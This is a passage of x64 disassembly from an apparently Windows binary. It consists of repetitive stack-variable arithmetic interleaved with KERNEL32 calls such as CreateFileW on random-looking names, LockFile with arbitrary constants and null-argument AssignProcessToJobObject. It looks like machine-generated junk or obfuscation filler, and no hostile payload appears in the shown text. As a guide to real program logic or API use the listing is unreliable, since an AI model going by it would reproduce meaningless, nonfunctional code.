mov word [rsp + 0x2bf8], ax
mov eax, dword [0x14028edc0]
mov ecx, dword [rsp + 0xa270]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb494], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3c67
mov rcx, qword [rsp + 0x14f30]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa614], eax
mov dword [rsp + 0x20], 0x1bb0
mov r9d, 0x2bd3
mov r8d, 0x3e4a
mov edx, 0x2e51
mov rcx, qword [rsp + 0x154e8]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xb108], eax
mov rax, qword [rsp + 0x153f0]
mov rcx, qword [rsp + 0x15238]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8528], eax
mov rax, qword [rsp + 0x144e0]
mov ecx, dword [rsp + 0xb254]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15788]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xb500], eax
mov eax, dword [rsp + 0xadb0]
mov ecx, dword [0x140282920]
xor ecx, eax
mov eax, ecx
mov dword [0x140282758], eax
mov rax, qword [rsp + 0x15578]
movzx eax, byte [rax]
mov byte [rsp + 0x7ce], al
movzx eax, word [rsp + 0x2eac]
mov rcx, qword [rsp + 0x153e0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2fb0], ax
movsx eax, word [rsp + 0x30fc]
movsx ecx, word [rsp + 0x2d30]
shl eax, cl
mov word [rsp + 0x2cac], ax
movzx eax, byte [rsp + 0x6a7]
mov byte [rsp + 0x7cf], al
mov rax, qword [0x14028ec30]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xacf4]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0bc], eax
mov rax, qword [rsp + 0x141e8]
mov ecx, dword [rsp + 0x74fc]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7284], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xafec], eax
movzx eax, word [rsp + 0x2c94]
movzx ecx, word [rsp + 0x2ea4]
sub eax, ecx
mov word [rsp + 0x1890], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa994], eax
movzx eax, byte [rsp + 0x296]
mov byte [rsp + 0x7d0], al
mov rax, qword [rsp + 0x14880]
mov ecx, dword [rsp + 0xb040]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x14028eb20], eax
mov rax, qword [rsp + 0x141f8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xab14]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa484], eax
mov rax, qword [0x14028ecf8]
mov ecx, dword [rsp + 0xa840]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa7d4], eax
mov rax, qword [rsp + 0x14b50]
mov eax, dword [rax]
mov dword [rsp + 0xb504], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.KyexVFNpdfqX
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15940], rax
mov rax, qword [rsp + 0x14e10]
movzx eax, byte [rax]
mov rcx, qword [0x14028eaf0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x7ca], al
movzx eax, word [rsp + 0x3208]
mov word [rsp + 0x324c], ax
mov rax, qword [rsp + 0x15078]
mov ecx, dword [rsp + 0x76d8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14f28]
mov dword [rcx], eax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6fd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb17c], eax
mov rax, qword [rsp + 0x14560]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x86e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8240], eax
mov rax, qword [rsp + 0x14ab8]
mov eax, dword [rax]
mov dword [0x14028ea3c], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b74]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xac08], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa884], eax
mov rax, qword [rsp + 0x14c50]
movzx eax, byte [rax]
mov byte [rsp + 0x7d1], al
mov rax, qword [rsp + 0x14fb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x30a4]
shl eax, cl
mov word [rsp + 0x2c20], ax
mov rax, qword [rsp + 0x15610]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x153d0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2c68], ax
mov rax, qword [rsp + 0x14b20]
movzx eax, byte [rax]
mov byte [rsp + 0x7d2], al
mov eax, dword [rsp + 0xb484]
mov ecx, dword [rsp + 0xb150]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x86c4], eax
mov eax, dword [rsp + 0xa604]
mov ecx, dword [rsp + 0xa124]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6860], eax
movzx eax, word [rsp + 0x31dc]
movzx ecx, word [rsp + 0x317c]
add eax, ecx
mov word [rsp + 0x2fb4], ax
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e0]
add eax, ecx
mov byte [0x140281ef3], al
mov rax, qword [rsp + 0x14380]
mov ecx, dword [rsp + 0x6850]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa970], eax
lea rax, [rsp + 0xb02c]
mov qword [rsp + 0x15948], rax
mov rax, qword [rsp + 0x152a8]
mov rcx, qword [0x14028ec98]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14c18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x155e0]
mov eax, dword [rax]
mov dword [rsp + 0xb508], eax
mov rax, qword [rsp + 0x150a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x790]
sub eax, ecx
mov byte [rsp + 0x20a], al
movzx eax, word [rsp + 0x2e40]
mov word [rsp + 0x3250], ax
mov rax, qword [rsp + 0x149a8]
mov ecx, dword [rsp + 0xa3e4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xb05c], eax
mov rax, qword [rsp + 0x14c20]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa51c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa62c], eax
mov rax, qword [rsp + 0x14ce0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x142c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x14028ee40], ax
lea rax, [rsp + 0x6c8]
mov qword [rsp + 0x15950], rax
mov rax, qword [rsp + 0x15910]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x146e8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x6b6], al
movzx eax, word [0x14028edc8]
movzx ecx, word [rsp + 0x25d8]
or eax, ecx
mov word [rsp + 0x260c], ax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14da0]
mov qword [rsp + 0x15958], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15958]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa384], eax
mov eax, dword [0x140282928]
movzx ecx, al
mov eax, dword [rsp + 0xaffc]
shl eax, cl
mov dword [rsp + 0xb4e8], eax
mov rax, qword [rsp + 0x15398]
mov eax, dword [rax]
mov dword [rsp + 0xb50c], eax
mov rax, qword [rsp + 0x14f90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa774]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa854], eax
mov rax, qword [rsp + 0x14f28]
mov eax, dword [rax]
mov dword [rsp + 0xb510], eax
mov rax, qword [0x14028eca8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x685]
and eax, ecx
mov rcx, qword [rsp + 0x14c38]
mov byte [rcx], al
movzx eax, word [rsp + 0x1330]
movzx ecx, word [rsp + 0x1b58]
add eax, ecx
mov word [0x1402829e4], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
mov rax, qword [0x14028eb38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x79a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9500], eax
mov eax, dword [rsp + 0xa3a4]
mov ecx, dword [rsp + 0x86c8]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7194], eax
mov rax, qword [rsp + 0x14898]
mov rcx, qword [0x14028ecc0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa948], eax
mov rcx, qword [rsp + 0x14ea0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa2dc], eax
mov rax, qword [rsp + 0x15770]
mov eax, dword [rax]
mov dword [rsp + 0xb514], eax
mov rax, qword [rsp + 0x15190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x7b3]
sub eax, ecx
mov byte [rsp + 0x77e], al
mov rax, qword [rsp + 0x14cf8]
movzx eax, word [rax]
mov word [rsp + 0x3254], ax
movsx eax, word [rsp + 0x2edc]
mov rcx, qword [rsp + 0x142c0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2dcc], ax
mov rax, qword [rsp + 0x14298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x72d], al
mov eax, dword [0x14028eab0]
mov ecx, dword [rsp + 0x96bc]
and ecx, eax
mov eax, ecx
mov dword [0x14028ebf0], eax
mov rax, qword [rsp + 0x14e48]
mov eax, dword [rax]
mov dword [rsp + 0xb518], eax
movzx eax, byte [rsp + 0x692]
mov rcx, qword [rsp + 0x14f58]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x302], al
movzx eax, word [rsp + 0x2ff8]
movzx ecx, word [rsp + 0x2c7c]
xor eax, ecx
mov word [rsp + 0x1a88], ax
lea rcx, str.E_U0BPjwC2
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x3258], ax
mov eax, dword [rsp + 0x96d4]
movzx ecx, al
mov eax, dword [rsp + 0xb0cc]
sar eax, cl
mov dword [rsp + 0x8a28], eax
mov eax, dword [0x1402829d8]
mov rcx, qword [rsp + 0x15830]
mov qword [rsp + 0x15960], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15960]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa72c], eax
mov eax, dword [rsp + 0x8288]
mov dword [rsp + 0xb51c], eax
mov eax, dword [rsp + 0xb164]
mov ecx, dword [rsp + 0xa56c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa0c4], eax
movzx eax, word [rsp + 0x1d7c]
mov word [rsp + 0x325c], ax
movzx eax, byte [0x140281de2]
mov byte [0x14028ea38], al
mov rax, qword [rsp + 0x15738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x96e0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xb2e4], eax
mov eax, dword [rsp + 0xb0dc]
mov ecx, dword [rsp + 0xb3ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x9838], eax
lea rax, [rsp + 0x75d4]
mov qword [rsp + 0x15968], rax
mov rax, qword [rsp + 0x14ff8]
mov ecx, dword [rsp + 0xb090]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaeb0], eax
lea rax, [rsp + 0xa420]
mov qword [rsp + 0x15970], rax
movsx eax, byte [rsp + 0x658]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x236], al
mov rax, qword [rsp + 0x145e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2dc4]
sub eax, ecx
mov word [rsp + 0x2fe0], ax
lea rax, [rsp + 0x3210]
mov qword [rsp + 0x15978], rax
mov rax, qword [0x14028ee20]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x699]
sub eax, ecx
mov byte [0x14028ea38], al
mov rax, qword [rsp + 0x15770]
mov ecx, dword [rsp + 0xa5d8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xad28], eax
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb39c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7704], eax
mov rax, qword [rsp + 0x14e78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x15338]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e3c], ax
lea rax, [rsp + 0x6f4]
mov qword [rsp + 0x15980], rax
mov rax, qword [0x14028ea98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7350]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa674], eax
mov rax, qword [rsp + 0x14880]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb2ec]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa684], eax
mov rax, qword [rsp + 0x148e8]
mov eax, dword [rax]
mov dword [rsp + 0xb520], eax
lea rdx, [rsp + 0x23430]
mov rcx, qword [rsp + 0x14208]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xad74], eax
mov rax, qword [0x14028ebc8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15098]
mov qword [rsp + 0x15988], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15988]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xabd4], eax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.yalyzL6_tgtdaVVNvUkFjD
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15990], rax
movzx eax, word [rsp + 0x2338]
movzx ecx, word [rsp + 0x19f4]
xor eax, ecx
mov word [0x14028ed4c], ax
movzx eax, byte [rsp + 0x7c1]
mov byte [rsp + 0x7d3], al
mov rax, qword [0x14028ee80]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14b30]
mov qword [rsp + 0x15998], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15998]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xb39c], eax
mov rax, qword [rsp + 0x14d90]
mov rcx, qword [rsp + 0x15850]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa8dc], eax
movsx eax, word [rsp + 0x2dcc]
mov rcx, qword [rsp + 0x14eb0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x20f8], ax
mov rax, qword [rsp + 0x15950]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x738]
add eax, ecx
mov byte [rsp + 0x66b], al
lea rax, [rsp + 0x2e80]
mov qword [rsp + 0x159a0], rax
movzx eax, byte [rsp + 0x6f2]
mov rcx, qword [rsp + 0x15598]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x757], al
mov rax, qword [rsp + 0x14a58]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xb2f8], eax
mov rax, qword [rsp + 0x15330]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d50]
sub ecx, eax
mov eax, ecx
mov dword [0x1402829e8], eax
lea rax, [0x1402829e8]
mov qword [rsp + 0x159a8], rax
mov rax, qword [rsp + 0x155e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9b0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9c08], eax
mov eax, dword [rsp + 0xb3f0]
mov dword [rsp + 0xb524], eax
movzx eax, byte [rsp + 0x730]
mov rcx, qword [0x14028ed28]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x65d], al
movzx eax, word [rsp + 0x30b4]
movzx ecx, word [rsp + 0x2eac]
add eax, ecx
mov rcx, qword [rsp + 0x14240]
mov word [rcx], ax
lea rax, [rsp + 0x6880]
mov qword [rsp + 0x159b0], rax
mov eax, dword [rsp + 0xaf00]
movzx ecx, al
mov eax, dword [rsp + 0xabf0]
shl eax, cl
mov dword [rsp + 0xa72c], eax
mov eax, dword [rsp + 0xa7c8]
mov dword [rsp + 0xb528], eax
mov eax, dword [rsp + 0x9514]
mov rcx, qword [rsp + 0x14640]
mov qword [rsp + 0x159b8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x159b8]
mov eax, dword [rax]
sar eax, cl
mov dword [0x14028282c], eax
movzx eax, word [0x140282740]
movzx ecx, word [rsp + 0x31c4]
or eax, ecx
mov rcx, qword [rsp + 0x159a0]
mov word [rcx], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetFileTime]
lea rax, [rsp + 0x69f]
mov qword [rsp + 0x159c0], rax
movsx eax, word [rsp + 0x3144]
mov rcx, qword [rsp + 0x15708]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2be0], ax
mov rax, qword [0x14028eb18]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x145f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x742], al
mov eax, dword [rsp + 0xa100]
mov ecx, dword [rsp + 0xa9d0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8004], eax
mov r9d, 2
lea r8, [rsp + 0x13f28]
mov rdx, qword [rsp + 0x14d48]
mov rcx, qword [rsp + 0x15000]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xb40c], eax
mov rax, qword [rsp + 0x14420]
mov ecx, dword [rsp + 0xb268]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x15948]
mov dword [rcx], eax
mov rax, qword [rsp + 0x151b8]
movzx eax, word [rax]
mov word [rsp + 0x3260], ax
mov rax, qword [rsp + 0x15500]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14460]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7bb], al
lea rax, [0x14028ec0c]
mov qword [0x14028ea30], rax
mov rax, qword [rsp + 0x145d8]
mov ecx, dword [rsp + 0xa74c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6f04], eax
mov eax, dword [rsp + 0x7ae4]
mov dword [rsp + 0xb52c], eax
mov rax, qword [rsp + 0x14be0]
mov rcx, qword [0x14028eda8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14ef8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14498]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2994], ax
movzx eax, byte [rsp + 0x757]
mov rcx, qword [rsp + 0x14250]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x606], al
mov rax, qword [rsp + 0x15630]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9380]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xac28], eax
mov rax, qword [rsp + 0x14140]
mov eax, dword [rax]
mov dword [rsp + 0xb530], eax
mov rax, qword [rsp + 0x155e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9330], eax
mov rax, qword [rsp + 0x146c8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15498]
mov qword [rsp + 0x159c8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x159c8]
mov eax, dword [rax]
shl eax, cl
mov dword [0x1402829ec], eax
mov eax, dword [rsp + 0xa44c]
mov dword [rsp + 0xb534], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x15880]
movsx eax, byte [rax]
mov rcx, qword [0x14028eb18]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x639], al
mov rax, qword [rsp + 0x145e8]
movzx eax, word [rax]
mov word [rsp + 0x3264], ax
mov rax, qword [rsp + 0x14808]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x670]
xor eax, ecx
mov rcx, qword [rsp + 0x13f68]
mov byte [rcx], al
movzx eax, word [rsp + 0x2efc]
mov rcx, qword [rsp + 0x143e8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2f48], ax
mov rax, qword [rsp + 0x15678]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa9a0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7bd0], eax
mov rax, qword [rsp + 0x145b8]
mov rcx, qword [rsp + 0x14768]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa270], eax
mov rax, qword [rsp + 0x144b8]
movzx eax, byte [rax]
mov byte [rsp + 0x7d4], al
mov rax, qword [rsp + 0x14778]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2134]
add eax, ecx
mov word [0x1402829b0], ax
mov rax, qword [rsp + 0x14da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb3f4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f98], eax
mov rax, qword [rsp + 0x149a0]
mov ecx, dword [rsp + 0xb2c4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa480], eax
mov eax, dword [rsp + 0xaa48]
mov dword [rsp + 0xb538], eax
mov rax, qword [rsp + 0x14ef8]
mov rcx, qword [0x14028ea60]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa2e4], eax
mov rax, qword [rsp + 0x153d0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x292c], ax
movzx eax, byte [rsp + 0x73c]
mov rcx, qword [rsp + 0x15748]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x74a], al
mov rax, qword [rsp + 0x15900]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7330]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8610], eax
mov eax, dword [rsp + 0x95c8]
mov dword [rsp + 0xb53c], eax
lea rdx, [rsp + 0x23510]
mov rcx, qword [rsp + 0x14db0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xab1c], eax
movzx eax, byte [rsp + 0x695]
mov byte [0x14028ea28], al
mov rax, qword [rsp + 0x14190]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2104]
add eax, ecx
mov word [rsp + 0x18a0], ax
movzx eax, byte [rsp + 0x6bb]
mov byte [rsp + 0x7d5], al
movzx eax, word [rsp + 0x2394]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2730], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x159d0], rax
mov rax, qword [0x14028ee98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xb0c8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xb3b4], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
mov rax, qword [rsp + 0x14880]
mov rcx, qword [rsp + 0x14da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6b54], eax
mov rax, qword [rsp + 0x14688]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xafcc]
shl eax, cl
mov dword [rsp + 0x86d8], eax
mov eax, dword [0x14028eaf8]
mov dword [rsp + 0xb540], eax
mov eax, dword [rsp + 0xacec]
mov ecx, dword [rsp + 0x7398]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xac8c], eax
mov rcx, qword [rsp + 0x14d38]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14310]
movzx eax, word [rax]
mov word [rsp + 0x3268], ax
movzx eax, byte [rsp + 0x729]
movzx ecx, byte [rsp + 0x6c6]
sub eax, ecx
mov byte [0x14028ed22], al
mov rax, qword [rsp + 0x157d8]
mov ecx, dword [rsp + 0xa6a4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xb1a4], eax
mov rcx, qword [rsp + 0x14368]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x14f60]
mov rcx, qword [rsp + 0x14288]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaccc], eax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa640]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9548], eax
mov rax, qword [rsp + 0x141c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x77ec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15770]
mov dword [rcx], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadIOPendingFlag]
movzx eax, word [0x1402829ac]
mov word [rsp + 0x326c], ax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x737]
add eax, ecx
mov byte [rsp + 0x2e0], al
mov rax, qword [rsp + 0x14ce0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x182c]
and eax, ecx
mov word [rsp + 0x2ef4], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.0DY42wsqo8eXNRzlLmsZWkzEvpH
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x159d8], rax
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
mov byte [rsp + 0x7d6], al
mov edx, 0x232f
mov rcx, qword [rsp + 0x14368]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xadcc], eax
mov rax, qword [rsp + 0x14ea8]
mov rcx, qword [rsp + 0x148d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x1402829f0], eax
mov rax, qword [rsp + 0x15438]
mov ecx, dword [0x14028eb68]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa6c8], eax
lea rax, [rsp + 0x584]
mov qword [rsp + 0x159e0], rax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14240]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2f18], ax
mov eax, dword [0x140282944]
mov ecx, dword [rsp + 0xa3c0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x7e6c], eax
mov eax, dword [rsp + 0xb298]
mov dword [rsp + 0xb544], eax
lea rcx, [rsp + 0x24e90]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa68c], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x150f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x6860]
shl eax, cl
mov dword [rsp + 0xa810], eax
mov rax, qword [rsp + 0x14140]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7330]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x908c], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x3f17
mov r9d, 0x3d9c
mov r8d, 0x70aae1cd
mov edx, 2
mov rcx, qword [rsp + 0x15310]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa4f0], eax
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x159a0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x220c], ax
mov rax, qword [rsp + 0x15138]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x159e0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281eb2], al
mov rcx, qword [rsp + 0x14598]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa65c], eax
mov eax, dword [0x1402827f4]
mov dword [rsp + 0xb548], eax
mov rax, qword [rsp + 0x14988]
mov ecx, dword [rsp + 0x77f0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa4cc], eax
mov rax, qword [rsp + 0x14cc8]
mov rcx, qword [rsp + 0x14748]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaeb8], eax
mov eax, dword [rsp + 0xa7bc]
mov dword [rsp + 0xb54c], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa954]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x877c], eax
mov rax, qword [rsp + 0x15510]
movsx eax, word [rax]
movsx ecx, word [0x14028ee68]
add eax, ecx
